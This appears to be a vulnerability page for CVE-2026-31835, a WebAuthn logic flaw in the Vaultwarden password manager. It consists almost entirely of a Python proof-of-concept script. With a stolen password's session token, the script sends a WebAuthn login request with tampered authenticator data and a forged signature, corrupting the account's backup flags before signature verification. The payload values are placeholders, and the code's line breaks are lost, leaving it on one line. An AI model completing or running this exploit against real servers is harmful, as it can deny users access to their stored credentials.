CVE-2026-31835 Vaultwarden WebAuthn逻辑缺陷致拒绝服务漏洞

import requests import json # Conceptual Proof of Concept for CVE-2026-31835 # This script demonstrates how an attacker with a valid password # could trigger the logic flaw to corrupt WebAuthn metadata. TARGET_URL = "https://target-vaultwarden-instance.com/api/accounts/webauthn/login" # Assume the attacker has already obtained the user's password and generated a session token # or is interacting with the endpoint that accepts WebAuthn responses during login. SESSION_TOKEN = "<OBTAINED_SESSION_TOKEN_WITH_PASSWORD>" USER_ID = "<TARGET_USER_ID>" CREDENTIAL_ID = "<TARGET_WEBAUTHN_CREDENTIAL_ID>" def exploit(): headers = { "Authorization": f"Bearer {SESSION_TOKEN}", "Content-Type": "application/json" } # Malicious authenticatorData: crafted to flip backup flags (backup_eligible/backup_state) # Normally this data should be signed, but the server processes it before checking the signature. # This is a placeholder for the actual base64 encoded byte array. malicious_authenticator_data = "INVALID_MALICIOUS_AUTHENTICATOR_DATA_BASE64" # Provide an invalid signature to ensure the verification step fails AFTER the DB update. invalid_signature = "INVALID_SIGNATURE_TO_TRIGGER_FAILURE" payload = { "deviceId": "poc_device", "twoFactorToken": "", "twoFactorProvider": 0, # WebAuthn provider "twoFactorRemember": 0, "webauthn_login_response": { "id": CREDENTIAL_ID, "rawId": CREDENTIAL_ID, "type": "public-key", "response": { "authenticatorData": malicious_authenticator_data, "clientDataJSON": "dummy_client_data", "signature": invalid_signature, "userHandle": USER_ID } } } try: print("[*] Sending malicious WebAuthn login request...") response = requests.post(TARGET_URL, headers=headers, data=json.dumps(payload)) # The server might return an error (e.g., 400 Bad Request or 401 Unauthorized) # because the signature is invalid. # However, due to the vulnerability, the database flags have already been updated. if response.status_code != 200: print(f"[-] Request failed as expected (Status: {response.status_code})") print("[!] Check database: backup flags might have been corrupted (DoS triggered).") else: print("[!] Unexpected success.") print(f"Response: {response.text}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()